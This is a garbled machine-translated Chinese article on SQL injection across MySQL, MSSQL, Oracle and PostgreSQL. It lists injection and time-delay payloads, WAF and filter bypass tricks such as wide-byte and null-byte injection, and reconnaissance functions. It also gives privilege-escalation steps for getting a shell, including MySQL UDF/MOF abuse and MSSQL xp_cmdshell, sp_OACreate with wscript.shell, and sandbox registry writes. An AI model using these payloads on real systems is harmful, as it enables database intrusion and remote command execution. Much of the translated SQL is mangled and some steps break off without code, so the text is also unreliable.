本文介绍了MySQL,MSSQL,Oracle和PostgreSQL平台中SQL注入检测方法和SQL的利用。正如个人指出的那样,没有框架和中间部分。文章的内容并不全面,将来将添加新方法。
mysql:
从表值db_value中选择项目;
从表中选择itex1,item2,其中'value1'ike db_value订单按'value2'limit value3;
更新表集db_value1 ='value1',db_value2 = value2where'value3'= db_value3;
插入set item1 ='value1',item2 = value2;
从表中删除item = value1order by value2;
MSSQL:
从表值db_value中选择项目;
从(从表中选择IT item1,item2,row_number())从(从表中订购'value1')作为tableEname选择itex1,itec2,inter(by'value1'),其中num value2and value3;
更新表集db_value1 ='value1',db_value2 = value2其中'value3'= db_value3;
插入表(item1,item2)值('value1',value2);
可删除,其中item = value1order by value2;
Oracle:
从表值db_value中选择项目;
选择itex1,item2从(选择Rownum R,Item1,Item2中)从(Select Item1,table2 by value1)表)表Rownum <=value2) table1 where r>value3;
更新表集db_value1 ='value1',db_value2 = value2where'value3'= db_value3;
插入表(item1,item2)值('value1',value2);
可删除,其中item = value1order by value2;
PostgreSQL:
从表值db_value中选择项目;
从表限制值1 offset value2选择项目2;
更新表集db_value1 ='value1',db_value2 = value2where'value3'= db_value3;
插入表(item1,item2)值('value1',value2);
可删除,其中item = value1order by value2;
当这些陈述分开时,感觉也一样,但是很明显,将上述语句替换为大胆的位置。
1.首先输入单引号,双引号或段编号,小括号加报价标记
如果后两个响应的结果与第一个响应不同(或错误),则输入下一个测试。如果结果不同,则可以确定是注射布尔型。
p =值
p = value' - > p ='和'1'= 1'=> p ='和'1'= 2'
p = value“ - > p =”和“ 1” = 1“ => p =”和“ 1” = 2“
2.然后将字符串连接符号插入有效载荷中以确定数据库的类型;
p =值
p = val''ue-> mysql
p = val'+'ue-> mssql
p = val'||'ue-> oracle,postgresql
3.如果上述检测未得到结果,则可以尝试延迟失明并确定是否通过响应延迟进行注射;
mysql:p ='和睡眠(5)#
MSSQL:p ='if ascii(...)= 5等待延迟'0:0:5' -
oracle:p ='和dbms_lock.sleep(5)----
postgresql:p ='和pg_sleep(5) -
mysql:
group_concat() - 剪接组中的所有字符串,与逗号分开
concat() - 将多个字符串放入字符串
concat_ws() - - 与上面相同
左(str,n) - 返回弦str的前n个字符
右(str,n) - 背面字符串str的后n个字符
substr(str,b,len) - 从字符串str b的位置b的位置b。
子字符串(Str,B,Len) -
中间(str,b,len) - 与上面相同
eval() - endering命令
系统“ ...” - - 执行命令
load_file() - - 阅读本地文件
进入折叠 - 写入文件
信息_schema - 通过MySQL维护维护的所有其他数据库信息(库名称,表格,用户及其权限等)
MSSQL:
IS_SRVROLEMEBER(') - 查询权限,系统管理员:系统管理员;DB_owner:仓库许可;公共权威:公共许可
opendatasource(provider_name,init_string) - 用于反弹注射
|- Provider_name:OLE DB的Progid的名称,用于访问数据源的程序
|- nit_string:链接字符串=链接地址,端口,用户名,密码,数据库名称
convert()-DATA类型转换,示例:convert(int,@@ server)-colon
exec()-e执行命令
cast() - - 将查询数据变成字符类型
len() - 判断字符串的长度
substring(str,b,len) - 从字符串str b的位置进行的位置。
Oracle:
exec()-e执行命令
substr(str,b,len) - 从字符串str b的位置b的位置b。
长度() - - 获取字符串的长度
concat() - 将多个字符串放入字符串
ASCII() - 将字符串限制为ASCII代码
USERENV(参数) - 返回当前会话信息
PostgreSQL:
系统('') - - 执行系统命令
长度()-d统计字符串中字符的数量
substring('b for b for Len) - 从字符串str b的位置b的位置b拦截Len的子条。
ASCII() - 将字符串限制为ASCII代码
chr() - 将ASCII代码插入字符
在正常情况下,服务器将严格检查用户输入。在这里,我们还总结了WAF和过滤绕过的一些常见方法:
1. liaminate变体
'联合选择 *从表中的用户名='admin' -
2.在语句中插入注释(例如使用注释而不是空格,例如“ =”)
'// UNION // SELECT //密码//来自// table // where // username // like/**/'admin'----------
3.在URL中执行问题字符,甚至是次要编码
4.使用动态查询执行
通常,数据库允许动态执行SQL查询,并且只需要将查询语句传递给执行查询的数据库函数即可。此方法可用于绕过一些过滤器。如果SQL关键字有限,则可以尝试拼接:
mysql:'sel''ect'(“”“需要将其编码为%20)
MSSQL:'sel'+'ect'(“+”需要编码为%2b)
Oracle:'SEL'||'ect'
postgresql:'sel'||'ect'
使用char()和ASCII代码进行拼接,您可以绕过报价号限制
mysql:没有这样的功能,您需要自定义
MSSQL:exec('Select * From Table')
Oracle:执行即时的“选择 *从表”
PostgreSQL:没有这样的功能,您需要自定义
5.空字节
实现了通常由应用程序外的代码实现的常规输入过滤器(IDS)。这些系统通常是由本地编程语言开发的。在本机编程语言中,根据字符串到第一个空空间的起始位置,第一个空出现空白。字节的位置确定以确定字符串的长度。因此,空字节有效地结束了字符串。
%00'联合选择用户名,使用username ='admin'的密码 -
6.嵌套表达
在处理之前,有些过滤器会剥离用户输入的特定字符或表达式。
selectlectct
7.使用截断
过滤器通常为用户提供多个操作的数据。有时,操作将包括将输入切入最大长度或调整,以使其在数据库字段中具有预定义的最大长度。就像单个报价一样),破坏封闭的语句,以便它生成第二个注入点。
检测方法也很简单。第一个请求是一个引号,第二个请求是一个奇怪的数字报价。如果有一个截断的漏洞,其中一个将插入引号的引号中,这将导致不校正的字符串字符串和数据库错误。
第一的:''''''''''''''''''''''
第二次:a'''''''
8.宽字节注射
SO称为宽字节实际上是两个字节。在转换编码的过程中,单个字节的编码与随后的编码为两个字节,GB2312,GBK,GBK,GB1,GB18030,BIG5,Shift_JIS和其他宽字节编码的数据库很容易受到伤害。UTF-8是单字符编码。该编码数据库中没有此类漏洞。
?ID =%D5%27
返回:真诚'
单引号不是公义的,并且有广泛的字节注入
9.使用非标准入口点
许多WAF将检查请求参数的值,但不要验证参数名称。通过搜索查询参考页面注射可以尝试此方法。除了自定义请求机制外,许多应用程序还将执行浏览分析功能。您可以在搜索URL中搜索URL查询参数已嵌入到攻击中,并在参考页面上提交查询以执行SQL注入。在参数名称,主机,用户式等。SQL注入的攻击点。
get /index.php http /1.1
主机:www.example.org参考器:http://www.google.com/search?hl = en&q=a';+waitfor +dlay +'0:30'------
10.避免自定义过滤器
例如,您需要使用想象力,例如,您可以在软件包名称中添加双引号,在软件包名称之前添加跳跃标签。
11.使用第二阶注射
此攻击过程大致如下:
1.攻击者在请求中提交了一些概念输入
2.服务器存储输入,以便稍后可以使用并响应该请求
3.攻击者提交第二个(不同)的请求
4.为了处理第二个请求,服务器将检索已存储和处理的输入,从而导致注射的SQL语句
5.如果可行,服务器将在第二个请求的响应中返回攻击者
在个人信息页面上更新您的用户名a'+@@ veersion+'a。严格过滤后,未执行句子:
更新table_users设置名称='a'+@@ veers+'a'其中id = 10;
稍后查看个人信息时,您之前构建的SQL语句:
从table_users中选择用户名='a'+@@版本+'a';
12.客户SQL注入
有一个场景,客户端上有一个客户端数据库。现在,在大多数情况下,它将用于保存历史记录。如果安全限制不够好,攻击者可以通过某些方法将攻击语句插入其他客户的数据库中。导致对其他用户的攻击。此攻击的效果取决于服务器规定如何使用如何使用本地数据库客户端。结果判断是盲目的类型,因为结果不会返回攻击者。但是,如果攻击者有客户环境,则在白框的情况下,您可以通过重复测试获得精心构造的攻击声明,然后使用该声明在线引起攻击。
13.混合攻击
指使用多个漏洞攻击服务器。
?uname = 123+联合+选择+1,'
',1
渗透测试的最终目标是控制对方的设备。简而言之,SQL注入也被Getshell服务包围。可以实现以下几点:
1.信息收集
mysql:
版本()-D数据库版本
@@ version_compile_os--当前操作系统
@@ datadir -database路径
@@基于 - 安装路径
current_user() - 当前用户名
session_user() - 连接到数据库的用户名
MSSQL:
@@版本() - - 查看数据库版本
exec master..xp_msver -view系统信息
XP_READERRORLOG 0 - - 查看日志文件(必需的执行)
sp_helpsrvrolemember-查看用户的字符信息
IS_SRVROLEMEMBER('sysadmin') - 查看当前用户权限
sp_helpuser - - 查看当前用户
Oracle:
V $版本-Database版本
product_component_version-其他数据库版本
dbms_output.put_line(dbms_db_version.version) - 另外数据库版本,必需的执行
ORACLE_HOME-数据库安装路径(直接检查环境变量)
从v $ logFile中选择成员;- - 日志文件位置
从dba_data_files中选择file_name;- - 数据库文件路径
root_sys_privs-当前用户的角色权限
user_sys_privs-用户系统权限
USER_USER-当前用户详细信息
USER_ROLE_PRIVS -CRURRENT用户角色信息
PostgreSQL:
版本()-D数据库版本
PGHOME - 安装路径(环境变量)
用户 - 查看所有用户
current_user-当前用户名
session_user -user名称连接数据库
2.正确
mysql:
rootmof:在Windows平台下,C:/windows/system32/wbem/mof/nullevt.mof将在短时间内使用系统权限执行它。您只需要将代码存储到此文件中即可实现正确的权利。ESSENCETO实现MOF,有两个先决条件。首先,必须有MOF目录才能编写权限,例如根用户,然后是突破性安全文件限制。
UDF:
UDF的权利将MySQL帐户转换为具有自定义函数的函数的系统系统权限。version> 5.1,安装目录中的LIB/插件中的UDF文件(默认值不存在于默认值中)。使用UDF权利有两个先决条件。您需要突破安全文件限制。
特定步骤:
显示“%version_%”之类的变量;
检查MySQL版本是32 -bit还是64-bit
显示“安全%”之类的全局变量;
值=空可以写出导出文件
显示“插件%”之类的变量;
查看插件目录
选择“ xxx”到dumpfile'c:program filesmysqlmysql server 5.4libplugin :: $ index_allocation
如果没有,您需要新的建筑
1.官方网站下载MySQL源代码
2.查找udf_example.def和udf_example.cc
3.将自定义功能添加到udf_example.cc
4.注册刚刚在udf_example.def中添加的函数
5.VS汇编
6.提取编译的UDF文件
自定义功能插件 - 写作步骤
创建函数查找返回字符串soname'udf_example';
导入UDF文件,Winl win下的.dll后缀
选择MyFun('...');
使用MySQL的自定义函数myFun()执行命令'...',结果显示在查询结果中
下降功能myFun;
删除功能myFun
另一个是反弹壳的权利,该权利也属于UDF的权利。具体过程是将UDF文件转换为十六进制,并将其写入数据库,然后导出到/lib/plugin目录。下一步与UDF提取相同。
MSSQL:
SASQLSERVER具有三种类型:XP_CMDSHELL,SP_OACREATE和SANDBOXES。
xp_cmdshell:
这种促销方法出现在存储过程中。XP_CMDShell是可以在此存储中执行系统命令的脚本之一。使用其权利提及打开配置的权利:
exec sp_configure'显示高级选项',1;
exec sp_configure'xp_cmdshell',1;
重新配置;
接下来,您可以执行系统命令
exec master.dbo.xp_cmdshell'...';
sp_oacreate:
主要是使用OLE对象的运行方法执行系统命令,并且它也是使用在存储过程中使用的权利的权利。它还需要打开配置:
exec sp_configure'显示高级选项',1;
exec sp_configure“ OLE自动化过程”,1;
重新配置;
配置打开后,首先声明用于存储返回对象的变量
声明@a int;
然后调用wscript.shell组件将返回的对象存储到@a变量中
exec sp_oacreate'wscript.shell',@a out;
调用CMD执行系统命令,直接输入文件到文件,因此返回值填充null
exec sp_oamethod @a,'run',null,'c:windowssystem32cmd.execommand> c: esult.txt';
exec sp_oacreate'wscript.shell',@a out;
沙箱:
像上述方法一样,首先启动配置:
exec sp_configure'显示高级选项',1;
exec sp_configure'临时分布式查询',1;
重新配置;
砂盒模式参数含义:
0 =禁止在任何所有者之间启用安全模式;
1 =仅在允许范围内;
2 =必须处于访问模式(默认)
3 =完全开放
exec master..xp_regwrite'hkey_local_machine','softwaremicrosoftjet4.0Engines','sandboxmode','reg_dword',0;
裁定订单“ ...”
选择 *来自OpenRowset('Microsoft.jet.oledb.4.0','; database = c:/windows/system32/ias/ias.mdb','selct shell(“ ...”);
Oracle:
syschang_on_insstasystasyanagerscogerdbsnmpdbsnmporacle的权利分为两种类型。第一个是创建会话,另一个是创建过程。您需要获取Java Permissions或Java.lang.runtimepermission权限。后者可以执行任何代码。具体步骤如下:创建会话制作权利:
创建程序权利:
还有一个脆弱性,受影响的版本<10.2.0.4,能够将普通权限用户提升成dba权限的用户,步骤如下:
登录低权限用户,如scott 然后输入下面代码:
执行后再输入:
再次查看权限发现权限为dba用户。
postgresql:
postgres在postgresql中,低版本可以直接调用system()函数,>8.2版本需要使用UDF版权。具体步骤如下:
参考:
“ SQL注射攻击和国防第二版”
https://www.freesion.com/article/7583153270/